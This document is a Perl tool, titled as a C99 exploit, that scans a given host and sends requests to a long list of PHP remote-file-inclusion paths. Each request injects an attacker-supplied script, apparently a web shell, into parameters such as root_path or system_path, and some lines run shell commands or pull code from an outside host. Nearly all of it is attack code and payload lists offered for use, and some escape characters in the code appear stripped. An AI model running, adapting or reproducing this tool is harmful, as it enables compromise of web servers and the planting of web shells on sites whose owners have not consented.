[TOOL] Exploit x C99

use IO::Socket::INET;
use strict;

my ($host,$path,$script) = @ARGV;

die "no hostnusage $0 host path scriptn" if ($host eq '');

while (my $line=<DATA>) {

       chomp($line);
       $line=~s/[host]/$host/g;
       $line=~s/[path]/$path/g;
       $line=~s/[script]/$script/g;
       scan($host,$line);
}

sub scan {

       my $host         = shift;
       my $directory    = shift;

       my $port         = 80;
       my $timeout      = 5;
       my $http_version = '1.1';
       my $user_agent   = 'Mozilla/5.0';

       my $method       = "GET";
       my $CRLF         = "015012";

       my $connect = IO::Socket::INET->new(
               PeerAddr => $host,
               PeerPort => $port,
               Proto    => 'tcp',
               Timeout  => $timeout
       );

       my $results;

       if ($connect){

               print $connect "$method /$directory/ HTTP/$http_version$CRLF";
               print $connect "User-Agent: $user_agent$CRLF";
               print $connect "Host: $host$CRLF";
               print $connect "$CRLF";

               my @lines = $connect->getlines();

               if (@lines){
                       foreach (@lines){
                               if ($_ =~ /^HTTP/$http_version/){
                                       (undef,$results) = split(/s/,$_);
                               }
                       }
               }

               close $connect;
       }
       
       print "$host$directory $resultsn" if $results;
}

__END__
/[path]modules/my_egallery/?root_path=[script]
/[path]/adminpanel/includes/add_forms/addbioform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addfliersform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addgenmerchform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addinterviewsform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addlinksform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addlyricsform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addmembioform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addmerchform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addmerchpicform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addnewsform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addphotosform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addreleaseform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addreleasepicform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addrelmerchform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addreviewsform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addshowsform.php?root_path=[script]
/[path]/adminpanel/includes/add_forms/addwearmerchform.php?root_path=[script]
/[path]/adminpanel/includes/mailinglist/disphtmltbl.php?root_path=[script]
/[path]/adminpanel/includes/mailinglist/dispxls.php?root_path=[script]
/preload.php?config=owned&func_prog=/cmd.gif?&cmd=ls
/index.php?config=owned&func_prog=/cmd.gif?&cmd=ls
/missing.php?header_prog=[script]
/_inc/footer.php?theme_root=[script]
/_inc/header.php?mod_root=[script]
/_inc/header.php?theme_root=[script]
/_inc/pfooter.php?theme_root=[script]
/_inc/pheader.php?theme_root=[script]
/_inc/web_statsConfig.php?mod_dir=[script]
/_inc/web_statsConfig.php?php_ext=[script]
/_mods/email.php?header_prog=[script]
/_mods/files.php?header_prog=[script]
/_mods/files.php?footer_prog=[script]
/_mods/headlines.php?header_prog=[script]
/_mods/search.php?header_prog=[script]
/_mods/topics.php?header_prog=[script]
/_mods/users.php?header_prog=[script]
/[path]/initiate.php?abs_path=[script]
/admanagerpro/common.php?ipath=[script]
/templates/deluxe/postreply.php?templatefolder=[script]
/templates/deluxe/posting.php?templatefolder=[script]
/templates/deluxe/pm/newpm.php?templatefolder=[script]
/templates/default/postreply.php?templatefolder=[script]
/templates/default/posting.php?templatefolder=[script]
/templates/default/pm/newpm.php?templatefolder=[script]
/modules/Forums/admin/index.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_board.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_disallow.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_forumauth.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_groups.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_ranks.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_styles.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_user_ban.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_words.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_avatar.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_forums.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_mass_email.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_smilies.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[script]
/modules/Forums/admin/admin_users.php?phpbb_root_path=[script]
/[QBoard_path]/board/post.php?qb_path=[script]
/[phpOnDirectory_path]/admin/generate_category_html.php?CONST_INCLUDE_ROOT=[script]
/[phpOnDirectory_path]/admin/generate_site_html.php?CONST_INCLUDE_ROOT=[script]
/[phpOnDirectory_path]/admin/index.php?CONST_INCLUDE_ROOT=[script]
/[Ottomanpath]/error.php?default_path=[script]
/[Ottomanpath]/index.php?default_path=[script]
/[Ottomanpath]/classes/main_class.php?default_path=[script]
/direct.php?rf=http://www.yourspace.com/yourscript.php?
/direct.php?rf=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/index.php?inc_dir=http://www.yourspace.com/yourscript.php?
/index.php?inc_dir=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/[path]/app/edocument/edocument_basic_view_menu.php?system_path=[script]
/[path]/app/edocument/edocument_document_model_create.php?system_path=[script]
/[path]/app/edocument/edocument_document_view_list.php?system_path=[script]
/[path]/app/edocument/edocument_edocform_view_listactive.php?system_path=[script]
/[path]/app/edocument/edocument_edocform_view_listclosed.php?system_path=[script]
/[path]/app/edocument/core/edocument_edoccorrectionclass.php?system_path=[script]
/[path]/app/edocument/core/edocument_edocerrorcodeclass.php?system_path=[script]
/[path]/app/edocument/core/edocument_edocformclass.php?system_path=[script]
/[path]/app/edocument/core/edocument_edocresponsibleclass.php?system_path=[script]
/[path]/app/eproject/eproject_basic_view_menu.php?system_path=[script]
/[path]/app/eproject/eproject_layoutelement_view_init.php?system_path=[script]
/[path]/app/eproject/eproject_project_model_create.php?system_path=[script]
/[path]/app/eproject/eproject_project_view_combi.php?system_path=[script]
/[path]/app/eproject/eproject_project_view_create.php?system_path=[script]
/[path]/app/eproject/eproject_project_view_listactive.php?system_path=[script]
/[path]/app/eproject/eproject_project_view_listclosed.php?system_path=[script]
/[path]/app/eproject/eproject_projectelement_model_update.php?system_path=[script]
/[path]/app/eproject/core/eproject_layoutclass.php?system_path=[script]
/[path]/app/eproject/core/eproject_layoutelementclass.php?system_path=[script]
/[path]/app/eproject/core/eproject_projectclass.php?system_path=[script]
/[path]/app/eproject/core/eproject_projectelementclass.php?system_path=[script]
/[path]/app/erek/erek_basic_view_menu.php?system_path=[script]
/[path]/app/erek/erek_comp_model_caseawait.php?system_path=[script]
/[path]/app/erek/erek_comp_model_caseclose.php?system_path=[script]
/[path]/app/erek/erek_comp_model_casedone.php?system_path=[script]
/[path]/app/erek/erek_comp_model_caseopen.php?system_path=[script]
/[path]/app/erek/erek_comp_model_create.php?system_path=[script]
/[path]/app/erek/erek_comp_view_combi.php?system_path=[script]
/[path]/app/erek/erek_comp_view_create.php?system_path=[script]
/[path]/app/erek/erek_comp_view_listactive.php?system_path=[script]
/[path]/app/erek/erek_comp_view_listawait.php?system_path=[script]
/[path]/app/erek/erek_comp_view_listclosed.php?system_path=[script]
/[path]/app/erek/erek_comp_view_listdone.php?system_path=[script]
/[path]/app/erek/erek_comp_view_search.php?system_path=[script]
/[path]/app/erek/core/erek_compcauseclass.php?system_path=[script]
/[path]/app/erek/core/erek_compclass.php?system_path=[script]
/[path]/app/erek/core/erek_compcountryclass.php?system_path=[script]
/[path]/app/erek/core/erek_compdecisionclass.php?system_path=[script]
/[path]/app/erek/core/erek_compdepartmentclass.php?system_path=[script]
/[path]/app/erek/core/erek_compsolutionclass.php?system_path=[script]
/[path]/app/erek/core/erek_compunitclass.php?system_path=[script]
/[path]/extension/basicextension.class.php?system_path=[script]
/[path]/extension/article/article.class.php?system_path=[script]
/[path]/extension/article/article.datatype.php?system_path=[script]
/[path]/extension/breadcrumb/breadcrumb.class.php?system_path=[script]
/[path]/extension/bulletinboard/bulletinboard.class.php?system_path=[script]
/[path]/extension/cform/cform.class.php?system_path=[script]
/[path]/extension/cform/cform.datatype.php?system_path=[script]
/[path]/extension/changepassword/changepassword.class.php?system_path=[script]
/[path]/extension/filelist/filelist.datatype.php?system_path=[script]
/[path]/extension/filelist/filelist.class.php?system_path=[script]
/[path]/extension/forgottenpassword/forgottenpassword.class.php?system_path=[script]
/[path]/extension/forum/forum.class.php?system_path=[script]
/[path]/extension/forum/forum.datatype.php?system_path=[script]
/[path]/extension/forum/forumdata.datatype.php?system_path=[script]
/[path]/extension/gallery/gallery.datatype.php?system_path=[script]
/[path]/extension/gallery/gallery.class.php?system_path=[script]
/[path]/extension/index/index.class.php?system_path=[script]
/[path]/extension/indexadv/indexadv.class.php?system_path=[script]
/[path]/extension/listcomment/listcomment.class.php?system_path=[script]
/[path]/extension/listing/listing.class.php?system_path=[script]
/[path]/extension/listing/listing.datatype.php?system_path=[script]
/[path]/extension/listing/listing_view_combidialog.php?system_path=[script]
/[path]/extension/listlatestdoc/listlatestdoc.class.php?system_path=[script]
/[path]/extension/listpopulardoc/listpopulardoc.class.php?system_path=[script]
/[path]/extension/login/login.class.php?system_path=[script]
/[path]/extension/menu/menu.class.php?system_path=[script]
/[path]/extension/online/online.class.php?system_path=[script]
/[path]/extension/register/register.class.php?system_path=[script]
/[path]/extension/related/related.class.php?system_path=[script]
/[path]/extension/search/search.class.php?system_path=[script]
/[path]/extension/search/search.datatype.php?system_path=[script]
/[path]/extension/shop/shop.class.php?system_path=[script]
/[path]/extension/sitemap/sitemap.class.php?system_path=[script]
/[path]/extension/sitemap/sitemap.datatype.php?GLOBALS[system_path]=[script]
/[path]/extension/slide/slide.class.php?system_path=[script]
/[path]/extension/uptodate/uptodate.class.php?system_path=[script]
/[path]/admin/menu.php?root_path=[script]
/[path]/admin/profile.php?root_path=[script]
/[path]/admin/users.php?root_path=[script]
/[path]/includes/cache_mngt.php?root_path=[script]
/[path]/includes/gallery_functions.php?root_path=[script]
/[path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[script]